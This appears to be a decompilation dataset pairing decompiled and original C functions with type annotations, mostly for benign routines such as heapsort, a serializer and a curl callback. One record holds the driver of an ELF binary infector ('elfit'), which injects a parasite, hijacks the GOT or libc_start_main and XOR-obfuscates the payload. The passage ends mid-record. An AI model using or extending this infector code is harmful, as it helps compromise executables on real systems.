heapify

original_code:
void heapify(void** array, size_t size, TCompareFunction cmp, int dsd){
 int i=0;
 for(i=dsd; i < size; i++){
  int parent = ( ( i- dsd -1)/2) + dsd;
  int j = i;
  while(parent >= dsd && cmp(*(array+parent), *(array+j)) < 0){
   void* aux = *(array+parent);
   *(array+parent) = *(array+j);
   *(array+j) = aux;
   j = parent;
   parent = (( parent - dsd -1)/2) + dsd;
  }
 }
}

canonical_original_code:
void heapify(void **array, unsigned long size, int (*cmp)(void *, void *), int dsd){
 int i = 0;
 for(i=dsd; i < size; i++){
  int parent = ( ( i- dsd -1)/2) + dsd;
  int j = i;
  while(parent >= dsd && cmp(*(array+parent), *(array+j)) < 0){
   void *aux = *(array+parent);
   *(array+parent) = *(array+j);
   *(array+j) = aux;
   j = parent;
   parent = (( parent - dsd -1)/2) + dsd;
  }
 }
}

variable_types:
array
void **

variable_types:
cmp
int (*)(void *, void *)

variable_types: dsd int

variable_types: parent int

variable_types: j int

variable_types:
aux
void *


heapsort

decompiled_code:
__int64 __fastcall heapsort(__int64 a1, unsigned __int64 a2, int (__fastcall *a3)(_QWORD, _QWORD))
{
__int64 i; // rbx
__int64 result; // rax

if ( a2 )
{
for ( i = 0LL; i != a2; ++i )
result = heapify(a1, a2, a3, i);
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func1(__int64 a1, unsigned __int64 a2, int (__fastcall *a3)(_QWORD, _QWORD))
{
__int64 i; // rbx
__int64 result; // rax

if ( a2 )
{
for ( i = 0LL; i != a2; ++i )
result = func0(a1, a2, a3, i);
}
return result;
}

original_code:
void heapsort(void** array, size_t size, TCompareFunction cmp){
 int i=0;
 for(i=0; i<size; i++){
  heapify(array, size, cmp, i);
 }
}

canonical_original_code:
void heapsort(void **array, unsigned long size, int (*cmp)(void *, void *)){
 int i = 0;
 for(i=0; i<size; i++){
  heapify(array, size, cmp, i);
 }
}

variable_types:
size
unsigned long

variable_types: i int

return_type: void


original_code:
int Libre_agregar(size_t* len, unsigned int **arr, unsigned int l){
 (*len)++;
 *arr = (unsigned int*) realloc(*arr, (*len) * sizeof(unsigned int));
 (*arr)[(*len)-1] = l;
 return 0;
}

canonical_original_code:
int Libre_agregar(unsigned long *len, unsigned int **arr, unsigned int l){
 (*len)++;
 *arr = (unsigned int *) realloc(*arr, (*len) * sizeof(unsigned int));
 (*arr)[(*len)-1] = l;
 return 0;
}

variable_types:
len
unsigned long *

variable_types:
arr
unsigned int **

variable_types:
l
unsigned int

return_type: int


decompiled_code:
__int64 __fastcall Libre_pop(_QWORD *a1, unsigned int *a2, _DWORD *a3)
{
unsigned int v3; // er8

v3 = 0;
if ( *a1 )
{
v3 = 1;
--*a1;
*a3 = a2[*a2];
}
return v3;
}

canonical_decompiled_code:
__int64 __fastcall func3(_QWORD *a1, unsigned int *a2, _DWORD *a3)
{
unsigned int v3; // er8

v3 = 0;
if ( *a1 )
{
v3 = 1;
--*a1;
*a3 = a2[*a2];
}
return v3;
}

original_code:
int Libre_pop(size_t* len, unsigned int *arr, unsigned int* l){
 if(! (*len))
  return 0;
 (*len)--;
 *l = arr[(*arr)];
 return 1;
}

canonical_original_code:
int Libre_pop(unsigned long *len, unsigned int *arr, unsigned int *l){
 if(! (*len))
  return 0;
 (*len)--;
 *l = arr[(*arr)];
 return 1;
}

variable_types:
arr
unsigned int *

variable_types:
l
unsigned int *


decompiled_code:
__int64 __fastcall sort_cmp_ocu_doc(__int64 a1, __int64 a2, __int64 a3)
{
__int64 result; // rax
unsigned int v4; // eax
bool v5; // cc

result = 0xFFFFFFFFLL;
if ( *(_QWORD *)a1 <= *(_QWORD *)a3 )
{
result = 1LL;
if ( *(_QWORD *)a1 >= *(_QWORD *)a3 )
{
v4 = *(_DWORD *)(a3 + 8);
v5 = *(_DWORD *)(a1 + 8) <= v4;
result = *(_DWORD *)(a1 + 8) < v4;
if ( !v5 )
result = 0xFFFFFFFFLL;
}
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func0(__int64 a1, __int64 a2, __int64 a3)
{
__int64 result; // rax
unsigned int v4; // eax
bool v5; // cc

result = 0xFFFFFFFFLL;
if ( *(_QWORD *)a1 <= *(_QWORD *)a3 )
{
result = 1LL;
if ( *(_QWORD *)a1 >= *(_QWORD *)a3 )
{
v4 = *(_DWORD *)(a3 + 8);
v5 = *(_DWORD *)(a1 + 8) <= v4;
result = *(_DWORD *)(a1 + 8) < v4;
if ( !v5 )
result = 0xFFFFFFFFLL;
}
}
return result;
}

original_code:
int sort_cmp_ocu_doc(void* reg1, size_t size1, void* reg2, size_t size2){
 Ocurrencia *ent1 = reg1, *ent2 = reg2;
 if(ent1->id_pa > ent2->id_pa)
  return -1;
 else if(ent1->id_pa < ent2->id_pa)
  return 1;
 else{
  if(ent1->id_text > ent2->id_text)
   return -1;
  else if(ent1->id_text < ent2->id_text)
   return 1;
 }
 return 0;
}

canonical_original_code:
int sort_cmp_ocu_doc(void *reg1, unsigned long size1, void *reg2, unsigned long size2){
 struct Ocurrencia *ent1 = reg1; struct Ocurrencia *ent2 = reg2;
 if(ent1->id_pa > ent2->id_pa)
  return -1;
 else if(ent1->id_pa < ent2->id_pa)
  return 1;
 else{
  if(ent1->id_text > ent2->id_text)
   return -1;
  else if(ent1->id_text < ent2->id_text)
   return 1;
 }
 return 0;
}

variable_types: struct Ocurrencia { long id_pa; unsigned int id_text; } *


decompiled_code:
__int64 __fastcall Serializador_unpack(__int64 *a1, unsigned int a2, _QWORD *a3, __int64 *a4)
{
__int64 result; // rax
__int64 v5; // rsi
__int64 v6; // rax
__int64 v7; // rsi

if ( a2 == 2 )
{
*a3 = 4LL;
result = *a4 + *a1;
*a4 += 4LL;
}
else if ( a2 > 2 )
{
if ( a2 == 3 )
{
*a3 = 1LL;
result = *a4 + *a1;
++*a4;
}
else
{
result = 0LL;
}
}
else
{
if ( a2 )
{
result = *a4 + *a1;
v5 = *a3 + *a4;
}
else
{
v6 = *a1;
*a3 = *(_QWORD *)(*a1 + *a4);
v7 = *a4 + 8;
*a4 = v7;
result = v7 + v6;
v5 = *a3 + v7;
}
*a4 = v5;
}
return result;
}

original_code:
uint8_t* Serializador_unpack(SerializadorData* data, SerializadorTipos tipo, size_t* size, size_t* pos){
 uint8_t* ret_ptr = ((void *)0);
 switch(tipo){
  case SER_VAR_CHAR:{
   size_t* tam = (size_t*) (data->buf + *pos);
   *size = *tam;
   *pos += sizeof(size_t);
  }
  case SER_FIX_BUF:
   ret_ptr = data->buf + *pos;
   *pos += *size;
   break;
  case SER_INT:
   *size = sizeof(int);
   ret_ptr = data->buf + *pos;
   *pos += *size;
   break;
  case SER_CHAR:
   *size = sizeof(char);
   ret_ptr = data->buf + *pos;
   *pos += *size;
   break;
  default:
   break;
 }
 return ret_ptr;
}

canonical_original_code:
unsigned char *Serializador_unpack(struct SerializadorData *data, enum SerializadorTipos tipo, unsigned long *size, unsigned long *pos){
 unsigned char *ret_ptr = ((void *)0);
 switch(tipo){
  case SER_VAR_CHAR:{
   unsigned long *tam = (size_t*) (data->buf + *pos);
   *size = *tam;
   *pos += sizeof(unsigned long);
  }
  case SER_FIX_BUF:
   ret_ptr = data->buf + *pos;
   *pos += *size;
   break;
  case SER_INT:
   *size = sizeof(int);
   ret_ptr = data->buf + *pos;
   *pos += *size;
   break;
  case SER_CHAR:
   *size = sizeof(char);
   ret_ptr = data->buf + *pos;
   *pos += *size;
   break;
  default:
   break;
 }
 return ret_ptr;
}

variable_types: struct SerializadorData { unsigned char *buf; unsigned long size; } *

variable_types: enum SerializadorTipos { SER_VAR_CHAR=0, SER_FIX_BUF=1, SER_INT=2, SER_CHAR=3 }

variable_types:
size
unsigned long *

variable_types:
pos
unsigned long *

variable_types:
tam
unsigned long *

return_type: unsigned char *


repo: NickHu/gmailc

decompiled_code:
size_t __fastcall curl_write(void *src, __int64 a2, __int64 a3, __int64 a4)
{
size_t v5; // r12
char *v6; // rax
_BYTE *v7; // rdx
size_t v8; // rax

v5 = a3 * a2;
v6 = (char *)realloc(*(void **)a4, *(_QWORD *)(a4 + 8) + a3 * a2);
*(_QWORD *)a4 = v6;
if ( v6 )
{
memcpy(&v6[*(_QWORD *)(a4 + 8)], src, v5);
v7 = *(_BYTE **)a4;
v8 = v5 + *(_QWORD *)(a4 + 8);
*(_QWORD *)(a4 + 8) = v8;
v7[v8] = 0;
}
else
{
v5 = 0LL;
puts("not enough memory (realloc returned NULL)");
}
return v5;
}

canonical_decompiled_code:
size_t __fastcall func0(void *src, __int64 a2, __int64 a3, __int64 a4)
{
size_t v5; // r12
char *v6; // rax
_BYTE *v7; // rdx
size_t v8; // rax

v5 = a3 * a2;
v6 = (char *)realloc(*(void **)a4, *(_QWORD *)(a4 + 8) + a3 * a2);
*(_QWORD *)a4 = v6;
if ( v6 )
{
memcpy(&v6[*(_QWORD *)(a4 + 8)], src, v5);
v7 = *(_BYTE **)a4;
v8 = v5 + *(_QWORD *)(a4 + 8);
*(_QWORD *)(a4 + 8) = v8;
v7[v8] = 0;
}
else
{
v5 = 0LL;
puts("not enough memory (realloc returned NULL)");
}
return v5;
}

original_code:
static size_t curl_write(char *ptr, size_t size, size_t nmemb, void *data)
{
  size_t real_size = size * nmemb;
  struct XML *xml = (struct XML *) data;
  xml->data = realloc(xml->data, xml->size + real_size);
  if(xml->data == ((void *)0))
  {
    printf("not enough memory (realloc returned NULL)\n");
    return 0;
  }
  memcpy(&(xml->data[xml->size]), ptr, real_size);
  xml->size += real_size;
  xml->data[xml->size] = 0;
  return real_size;
}

canonical_original_code:
static unsigned long curl_write(char *ptr, unsigned long size, unsigned long nmemb, void *data)
{
  unsigned long real_size = size * nmemb;
  struct XML *xml = (struct XML *) data;
  xml->data = realloc(xml->data, xml->size + real_size);
  if(xml->data == ((void *)0))
  {
    printf("not enough memory (realloc returned NULL)\n");
    return 0;
  }
  memcpy(&(xml->data[xml->size]), ptr, real_size);
  xml->size += real_size;
  xml->data[xml->size] = 0;
  return real_size;
}

variable_types:
ptr
char *

variable_types:
nmemb
unsigned long

variable_types:
data
void *

variable_types: struct XML { char *data; unsigned long size; } *

return_type: unsigned long


decompiled_code:
char *__fastcall url_encode(char *s)
{
char v1; // al
char *v2; // rdx
int v3; // ecx
__int64 v4; // rbx
size_t v5; // rbx
char *v6; // rax
char *v7; // r12
char *v8; // rbp
size_t v9; // rax
char delim[2]; // [rsp+Eh] [rbp-2Ah] BYREF

strcpy(delim, "@");
v1 = *s;
if ( *s )
{
v2 = s + 1;
v3 = 0;
do
{
++v2;
v3 += v1 == 64;
v1 = *(v2 - 1);
}
while ( v1 );
v4 = 2 * v3;
}
else
{
v4 = 0LL;
}
v5 = strlen(s) + v4;
v6 = (char *)malloc(v5);
*v6 = 0;
v7 = v6;
v8 = strtok(s, delim);
if ( v8 )
{
while ( 1 )
{
v9 = strlen(v7);
strncat(v7, v8, v5 - v9);
v8 = strtok(0LL, delim);
if ( !v8 )
break;
*(_DWORD *)&v7[strlen(v7)] = 3159077;
}
}
return v7;
}

canonical_decompiled_code:
char *__fastcall func1(char *s)
{
char v1; // al
char *v2; // rdx
int v3; // ecx
__int64 v4; // rbx
size_t v5; // rbx
char *v6; // rax
char *v7; // r12
char *v8; // rbp
size_t v9; // rax
char delim[2]; // [rsp+Eh] [rbp-2Ah] BYREF

strcpy(delim, "@");
v1 = *s;
if ( *s )
{
v2 = s + 1;
v3 = 0;
do
{
++v2;
v3 += v1 == 64;
v1 = *(v2 - 1);
}
while ( v1 );
v4 = 2 * v3;
}
else
{
v4 = 0LL;
}
v5 = strlen(s) + v4;
v6 = (char *)malloc(v5);
*v6 = 0;
v7 = v6;
v8 = strtok(s, delim);
if ( v8 )
{
while ( 1 )
{
v9 = strlen(v7);
strncat(v7, v8, v5 - v9);
v8 = strtok(0LL, delim);
if ( !v8 )
break;
*(_DWORD *)&v7[strlen(v7)] = 3159077;
}
}
return v7;
}

original_code:
char *url_encode(char *string)
{
  const char delim[] = "@";
  int at_count = 0;
  for(int i = 0; string[i]; ++i)
    if(string[i] == '@')
      ++at_count;
  const size_t encoded_size = strlen(string) + 2 * at_count;
  char *encoded = malloc(encoded_size);
  encoded[0] = '\0';
  char *token = strtok(string, delim);
  while(token != ((void *)0))
  {
    strncat(encoded, token, encoded_size - strlen(encoded));
    char *next = strtok(((void *)0), delim);
    if(next)
      strncat(encoded, "%40", sizeof("%40"));
    token = next;
  }
  return encoded;
}

canonical_original_code:
char *url_encode(char *string)
{
  char delim[] = "@";
  int at_count = 0;
  for(int i = 0; string[i]; ++i)
    if(string[i] == '@')
      ++at_count;
  unsigned long encoded_size = strlen(string) + 2 * at_count;
  char *encoded = malloc(encoded_size);
  encoded[0] = '\0';
  char *token = strtok(string, delim);
  while(token != ((void *)0))
  {
    strncat(encoded, token, encoded_size - strlen(encoded));
    char *next = strtok(((void *)0), delim);
    if(next)
      strncat(encoded, "%40", sizeof("%40"));
    token = next;
  }
  return encoded;
}

variable_types:
string
char *

variable_types:
delim
char []

variable_types:
encoded
char *

variable_types:
token
char *

variable_types:
next
char *

return_type: char *


repo: NickStephens/elfit

decompiled_code:
__int64 __fastcall elfit32(__int64 a1)
{
__int64 v1; // rbp
unsigned int v2; // er12
__int64 v3; // rsi
__int64 v4; // rsi
unsigned int v6; // er12
__int64 v7; // rdx
int v8; // eax
__int64 v9; // rax
__int64 v10; // rax
__int64 v11; // rax
unsigned int v12; // [rsp+0h] [rbp-5Ch] BYREF
char v13[32]; // [rsp+4h] [rbp-58h] BYREF
char v14[16]; // [rsp+24h] [rbp-38h] BYREF
__int64 v15; // [rsp+34h] [rbp-28h]
__int64 v16; // [rsp+4Ch] [rbp-10h]

if ( !a1 )
return 0xFFFFFFFFLL;
v16 = v1;
v2 = *(_DWORD *)(a1 + 216);
load_host(a1, v13);
load_host(a1 + 100, v14);
v12 = *(_QWORD *)(a1 + 208);
v3 = v12;
if ( !v12 )
{
switch ( *(_DWORD *)(a1 + 220) )
{
case 1:
puts("[+ ENTRYPOINT REDIR]");
v10 = entry_redirect_32(v13, &v12);
v3 = v12;
v1 = v10;
break;
case 2:
puts("[+ GOT REDIR]");
v11 = got_redirect_32(v13, a1 + 224, &v12);
v3 = v12;
v1 = v11;
break;
case 3:
puts("[+ CTORS REDIR]");
puts("unimplemented redirection method chosen");
exit(1);
case 4:
puts("[+ DTORS REDIR]");
puts("unimplemented redirection method chosen");
exit(1);
case 5:
puts("[+ ARBFUNC REDIR]");
puts("unimplemented redirection method chosen");
exit(1);
case 6:
puts("[+ LIBC_START_MAIN REDIR]");
v9 = libc_start_main_hijack_32(v13, *(unsigned int *)(a1 + 324), &v12);
v3 = v12;
v1 = v9;
break;
default:
v1 = -1LL;
puts("[-] no redirection method chosen");
puts("continuing infection process");
v3 = v12;
break;
}
}
printf("[+ PATCHING PARASITE]\t\tto jump to %08x\n", v3);
if ( !(unsigned int)patch_parasite32(v14, v2, v12) )
{
v4 = (unsigned int)*(char *)(a1 + 200);
if ( !*(_BYTE *)(a1 + 200) )
goto LABEL_7;
goto LABEL_8;
}
puts("out-of-bounds patch position supplied");
v4 = (unsigned int)*(char *)(a1 + 200);
if ( *(_BYTE *)(a1 + 200) )
{
LABEL_8:
printf("[+ POLYMORPHIZING PARASITE]\twith xor key 0x%0x\n", v4);
parasite_polymorphize32(v14, (unsigned int)*(char *)(a1 + 200));
}
LABEL_7:
switch ( *(_DWORD *)(a1 + 328) )
{
case 1:
puts("[+ INJECTING PARASITE TO TEXT]");
v6 = textpadding_inject_32(v13, v14, v2, *(unsigned int *)(a1 + 208));
reload_host(a1, v13);
if ( !*(_BYTE *)(a1 + 200) )
goto LABEL_13;
puts("[+ TEXT_SEGMENT MOD]\t\tmaking text segment writable for polymorphism");
make_text_writeable32(v13);
v7 = v6;
break;
case 2:
puts("[+ INJECTING PARASITE TO TEXT BOTTOM]");
v6 = reverse_inject_32(v13, v14);
reload_host(a1, v13);
if ( !*(_BYTE *)(a1 + 200) )
goto LABEL_13;
make_text_writeable32(v13);
v7 = v6;
break;
case 3:
puts("[+ INJECTING PARASITE INTO DATA SEGMENT]");
puts("chosen injection method not yet implemented");
exit(1);
case 4:
puts("[+ CREATING DEPENDENCY TO MALICIOUS LIBRARY]");
puts("chosen injection method not yet implemented");
exit(1);
case 5:
puts("[+ INJECTING RELOCATABLE]");
puts("chosen injection method not yet implemented");
exit(1);
case 6:
puts("[+ INJECTING NOTE]");
v6 = note_inject_32(v13, v14);
reload_host(a1, v13);
if ( *(_BYTE *)(a1 + 200) )
{
puts("Polymorphic parasite not impolemented for note injection");
exit(1);
}
LABEL_13:
v7 = v6;
break;
default:
v7 = 0LL;
v6 = 0;
break;
}
printf("[+] Parasite at 0x%lx-0x%lx\n", v6, *(_QWORD *)(v15 + 48) + v7);
reload_host(a1, v13);
v8 = *(_DWORD *)(a1 + 220);
if ( v8 == 2 )
{
v1 = got_redirect_32(v13, a1 + 224, &v12);
if ( *(_DWORD *)(a1 + 220) != 6 )
goto LABEL_16;
LABEL_27:
v1 = libc_start_main_hijack_32(v13, *(unsigned int *)(a1 + 324), &v12);
goto LABEL_16;
}
if ( v8 == 6 )
goto LABEL_27;
LABEL_16:
if ( v1 != -1 )
{
puts("[+ APPLYING REDIRECTION]");
commit_redirect_32(v13, v1, v6);
}
unload_host(v13);
return 1LL;
}

canonical_decompiled_code:
__int64 __fastcall func0(__int64 a1)
{
__int64 v1; // rbp
unsigned int v2; // er12
__int64 v3; // rsi
__int64 v4; // rsi
unsigned int v6; // er12
__int64 v7; // rdx
int v8; // eax
__int64 v9; // rax
__int64 v10; // rax
__int64 v11; // rax
unsigned int v12; // [rsp+0h] [rbp-5Ch] BYREF
char v13[32]; // [rsp+4h] [rbp-58h] BYREF
char v14[16]; // [rsp+24h] [rbp-38h] BYREF
__int64 v15; // [rsp+34h] [rbp-28h]
__int64 v16; // [rsp+4Ch] [rbp-10h]

if ( !a1 )
return 0xFFFFFFFFLL;
v16 = v1;
v2 = *(_DWORD *)(a1 + 216);
load_host(a1, v13);
load_host(a1 + 100, v14);
v12 = *(_QWORD *)(a1 + 208);
v3 = v12;
if ( !v12 )
{
switch ( *(_DWORD *)(a1 + 220) )
{
case 1:
puts("[+ ENTRYPOINT REDIR]");
v10 = entry_redirect_32(v13, &v12);
v3 = v12;
v1 = v10;
break;
case 2:
puts("[+ GOT REDIR]");
v11 = got_redirect_32(v13, a1 + 224, &v12);
v3 = v12;
v1 = v11;
break;
case 3:
puts("[+ CTORS REDIR]");
puts("unimplemented redirection method chosen");
exit(1);
case 4:
puts("[+ DTORS REDIR]");
puts("unimplemented redirection method chosen");
exit(1);
case 5:
puts("[+ ARBFUNC REDIR]");
puts("unimplemented redirection method chosen");
exit(1);
case 6:
puts("[+ LIBC_START_MAIN REDIR]");
v9 = libc_start_main_hijack_32(v13, *(unsigned int *)(a1 + 324), &v12);
v3 = v12;
v1 = v9;
break;
default:
v1 = -1LL;
puts("[-] no redirection method chosen");
puts("continuing infection process");
v3 = v12;
break;
}
}
printf("[+ PATCHING PARASITE]\t\tto jump to %08x\n", v3);
if ( !(unsigned int)patch_parasite32(v14, v2, v12) )
{
v4 = (unsigned int)*(char *)(a1 + 200);
if ( !*(_BYTE *)(a1 + 200) )
goto LABEL_7;
goto LABEL_8;
}
puts("out-of-bounds patch position supplied");
v4 = (unsigned int)*(char *)(a1 + 200);
if ( *(_BYTE *)(a1 + 200) )
{
LABEL_8:
printf("[+ POLYMORPHIZING PARASITE]\twith xor key 0x%0x\n", v4);
parasite_polymorphize32(v14, (unsigned int)*(char *)(a1 + 200));
}
LABEL_7:
switch ( *(_DWORD *)(a1 + 328) )
{
case 1:
puts("[+ INJECTING PARASITE TO TEXT]");
v6 = textpadding_inject_32(v13, v14, v2, *(unsigned int *)(a1 + 208));
reload_host(a1, v13);
if ( !*(_BYTE *)(a1 + 200) )
goto LABEL_13;
puts("[+ TEXT_SEGMENT MOD]\t\tmaking text segment writable for polymorphism");
make_text_writeable32(v13);
v7 = v6;
break;
case 2:
puts("[+ INJECTING PARASITE TO TEXT BOTTOM]");
v6 = reverse_inject_32(v13, v14);
reload_host(a1, v13);
if ( !*(_BYTE *)(a1 + 200) )
goto LABEL_13;
make_text_writeable32(v13);
v7 = v6;
break;
case 3:
puts("[+ INJECTING PARASITE INTO DATA SEGMENT]");
puts("chosen injection method not yet implemented");
exit(1);
case 4:
puts("[+ CREATING DEPENDENCY TO MALICIOUS LIBRARY]");
puts("chosen injection method not yet implemented");
exit(1);
case 5:
puts("[+ INJECTING RELOCATABLE]");
puts("chosen injection method not yet implemented");
exit(1);
case 6:
puts("[+ INJECTING NOTE]");
v6 = note_inject_32(v13, v14);
reload_host(a1, v13);
if ( *(_BYTE *)(a1 + 200) )
{
puts("Polymorphic parasite not impolemented for note injection");
exit(1);
}
LABEL_13:
v7 = v6;
break;
default:
v7 = 0LL;
v6 = 0;
break;
}
printf("[+] Parasite at 0x%lx-0x%lx\n", v6, *(_QWORD *)(v15 + 48) + v7);
reload_host(a1, v13);
v8 = *(_DWORD *)(a1 + 220);
if ( v8 == 2 )
{
v1 = got_redirect_32(v13, a1 + 224, &v12);
if ( *(_DWORD *)(a1 + 220) != 6 )
goto LABEL_16;
LABEL_27:
v1 = libc_start_main_hijack_32(v13, *(unsigned int *)(a1 + 324), &v12);
goto LABEL_16;
}
if ( v8 == 6 )
goto LABEL_27;
LABEL_16:
if ( v1 != -1 )
{
puts("[+ APPLYING REDIRECTION]");
commit_redirect_32(v13, v1, v6);
}
unload_host(v13);
return 1LL;
}

original_code:
int elfit32(opts_t *opts)
{
    Elfit_t host;
    Elfit_t parasite;
    uint32_t malpoint;
    uint32_t patch_pos;
    uint32_t patch_addr;
    off_t patch_off;
    malpoint = 0;
    if (!opts->host)
    {
        return -1;
    }
    patch_pos = opts->patch_pos;
    load_host(opts->host, &host);
    load_host(opts->parasite, &parasite);
    patch_addr = opts->patch_addr;
    if (!patch_addr)
    {
        switch(opts->redirection_method)
        {
            case 1:
                printf("[+ ENTRYPOINT REDIR]\n");
                patch_off = entry_redirect_32(&host, &patch_addr);
                break;
            case 2:
                printf("[+ GOT REDIR]\n");
                patch_off = got_redirect_32(&host, opts->pltsymbol, &patch_addr);
                break;
            case 3:
                printf("[+ CTORS REDIR]\n");
                printf("unimplemented redirection method chosen\n");
                exit(1);
            case 4:
                printf("[+ DTORS REDIR]\n");
                printf("unimplemented redirection method chosen\n");
                exit(1);
            case 5:
                printf("[+ ARBFUNC REDIR]\n");
                printf("unimplemented redirection method chosen\n");
                exit(1);
            case 6:
                printf("[+ LIBC_START_MAIN REDIR]\n");
                patch_off = libc_start_main_hijack_32(&host, opts->startmain_mode, &patch_addr);
                break;
            default:
                printf("[-] no redirection method chosen\n");
                printf("continuing infection process\n");
                patch_off = -1;
         }
    }
    printf("[+ PATCHING PARASITE]\t\tto jump to %08x\n", patch_addr);
    if (patch_parasite32(&parasite, patch_pos, patch_addr))
    {
        printf("out-of-bounds patch position supplied\n");
    }
    if (opts->polymorphic_key)
    {
        printf("[+ POLYMORPHIZING PARASITE]\twith xor key 0x%0x\n", opts->polymorphic_key);
        parasite_polymorphize32(&parasite, opts->polymorphic_key);
    }
    switch(opts->injection_method)
    {
        case 1:
            printf("[+ INJECTING PARASITE TO TEXT]\n");
            malpoint = textpadding_inject_32(&host, &parasite,
                patch_pos, opts->patch_addr);
            reload_host(opts->host, &host);
            if(opts->polymorphic_key)
            {
                printf("[+ TEXT_SEGMENT MOD]\t\tmaking text segment writable for polymorphism\n");
                make_text_writeable32(&host);
            }
            break;
        case 2:
            printf("[+ INJECTING PARASITE TO TEXT BOTTOM]\n");
            malpoint = reverse_inject_32(&host, &parasite);
            reload_host(opts->host, &host);
            if(opts->polymorphic_key)
                make_text_writeable32(&host);
            break;
        case 3:
            printf("[+ INJECTING PARASITE INTO DATA SEGMENT]\n");
            printf("chosen injection method not yet implemented\n");
            exit(1);
        case 4:
            printf("[+ CREATING DEPENDENCY TO MALICIOUS LIBRARY]\n");
            printf("chosen injection method not yet implemented\n");
            exit(1);
        case 5:
            printf("[+ INJECTING RELOCATABLE]\n");
            printf("chosen injection method not yet implemented\n");
            exit(1);
        case 6:
            printf("[+ INJECTING NOTE]\n");
            malpoint = note_inject_32(&host, &parasite);
            reload_host(opts->host, &host);
            if(opts->polymorphic_key)
            {
                printf("Polymorphic parasite not impolemented for note injection\n");
                exit(1);
            }
            break;
    }
    printf("[+] Parasite at 0x%lx-0x%lx\n", malpoint, malpoint + parasite.file->st_size);
    reload_host(opts->host, &host);
    if (opts->redirection_method == 2)
        patch_off = got_redirect_32(&host, opts->pltsymbol, &patch_addr);
    if (opts->redirection_method == 6)
        patch_off = libc_start_main_hijack_32(&host, opts->startmain_mode, &patch_addr);
    if (patch_off != -1) {
      printf("[+ APPLYING REDIRECTION]\n");
      commit_redirect_32(&host, patch_off, malpoint);
    }
    unload_host(&host);
    return 1;
}

canonical_original_code:
int elfit32(struct opts_t *opts)
{
    struct Elfit_t host;
    struct Elfit_t parasite;
    unsigned int malpoint;
    unsigned int patch_pos;
    unsigned int patch_addr;
    long patch_off;
    malpoint = 0;
    if (!opts->host)
    {
        return -1;
    }
    patch_pos = opts->patch_pos;
    load_host(opts->host, &host);
    load_host(opts->parasite, &parasite);
    patch_addr = opts->patch_addr;
    if (!patch_addr)
    {
        switch(opts->redirection_method)
        {
            case 1:
                printf("[+ ENTRYPOINT REDIR]\n");
                patch_off = entry_redirect_32(&host, &patch_addr);
                break;
            case 2:
                printf("[+ GOT REDIR]\n");
                patch_off = got_redirect_32(&host, opts->pltsymbol, &patch_addr);
                break;
            case 3:
                printf("[+ CTORS REDIR]\n");
                printf("unimplemented redirection method chosen\n");
                exit(1);
            case 4:
                printf("[+ DTORS REDIR]\n");
                printf("unimplemented redirection method chosen\n");
                exit(1);
            case 5:
                printf("[+ ARBFUNC REDIR]\n");
                printf("unimplemented redirection method chosen\n");
                exit(1);
            case 6:
                printf("[+ LIBC_START_MAIN REDIR]\n");
                patch_off = libc_start_main_hijack_32(&host, opts->startmain_mode, &patch_addr);
                break;
            default:
                printf("[-] no redirection method chosen\n");
                printf("continuing infection process\n");
                patch_off = -1;
         }
    }
    printf("[+ PATCHING PARASITE]\t\tto jump to %08x\n", patch_addr);
    if (patch_parasite32(&parasite, patch_pos, patch_addr))
    {
        printf("out-of-bounds patch position supplied\n");
    }
    if (opts->polymorphic_key)
    {
        printf("[+ POLYMORPHIZING PARASITE]\twith xor key 0x%0x\n", opts->polymorphic_key);
        parasite_polymorphize32(&parasite, opts->polymorphic_key);
    }
    switch(opts->injection_method)
    {
        case 1:
            printf("[+ INJECTING PARASITE TO TEXT]\n");
            malpoint = textpadding_inject_32(&host, &parasite,
                patch_pos, opts->patch_addr);
            reload_host(opts->host, &host);
            if(opts->polymorphic_key)
            {
                printf("[+ TEXT_SEGMENT MOD]\t\tmaking text segment writable for polymorphism\n");
                make_text_writeable32(&host);
            }
            break;
        case 2:
            printf("[+ INJECTING PARASITE TO TEXT BOTTOM]\n");
            malpoint = reverse_inject_32(&host, &parasite);
            reload_host(opts->host, &host);
            if(opts->polymorphic_key)
                make_text_writeable32(&host);
            break;
        case 3:
            printf("[+ INJECTING PARASITE INTO DATA SEGMENT]\n");
            printf("chosen injection method not yet implemented\n");
            exit(1);
        case 4:
            printf("[+ CREATING DEPENDENCY TO MALICIOUS LIBRARY]\n");
            printf("chosen injection method not yet implemented\n");
            exit(1);
        case 5:
            printf("[+ INJECTING RELOCATABLE]\n");
            printf("chosen injection method not yet implemented\n");
            exit(1);
        case 6:
            printf("[+ INJECTING NOTE]\n");
            malpoint = note_inject_32(&host, &parasite);
            reload_host(opts->host, &host);
            if(opts->polymorphic_key)
            {
                printf("Polymorphic parasite not impolemented for note injection\n");
                exit(1);
            }
            break;
    }
    printf("[+] Parasite at 0x%lx-0x%lx\n", malpoint, malpoint + parasite.file->st_size);
    reload_host(opts->host, &host);
    if (opts->redirection_method == 2)
        patch_off = got_redirect_32(&host, opts->pltsymbol, &patch_addr);
    if (opts->redirection_method == 6)
        patch_off = libc_start_main_hijack_32(&host, opts->startmain_mode, &patch_addr);
    if (patch_off != -1) {
      printf("[+ APPLYING REDIRECTION]\n");
      commit_redirect_32(&host, patch_off, malpoint);
    }
    unload_host(&host);
    return 1;
}

variable_types: struct opts_t { char host[100]; char parasite[100]; char polymorphic_key; unsigned long patch_addr; unsigned int patch_pos; unsigned int redirection_method; char pltsymbol[100]; unsigned int startmain_mode; unsigned int injection_method; unsigned int cross_infect; } *

variable_types: struct Elfit_t { char *name; unsigned char *mem; struct stat { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink; unsigned int st_mode; unsigned int st_uid; unsigned int st_gid; int __pad0; unsigned long st_rdev; long st_size; long st_blksize; long st_blocks; struct timespec { long tv_sec; long tv_nsec; } st_atim; struct timespec st_mtim; struct timespec st_ctim; long __glibc_reserved[3]; } *file; }

variable_types:
malpoint
unsigned int

user_defined_types: struct Elfit_t { char *name; unsigned char *mem; struct stat *file; }

user_defined_types: struct stat { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink; unsigned int st_mode; unsigned int st_uid; unsigned int st_gid; int __pad0; unsigned long st_rdev; long st_size; long st_blksize; long st_blocks; struct timespec st_atim; struct timespec st_mtim; struct timespec st_ctim; long __glibc_reserved[3]; }


decompiled_code:
__int64 __fastcall elfit64(__int64 a1)
{
__int64 v1; // rbp
__int64 v2; // r12
__int64 v3; // r13
__int64 v4; // rsi
__int64 v5; // rsi
__int64 result; // rax
int v7; // eax
__int64 v8; // rax
__int64 v9; // rax
__int64 v10; // rax
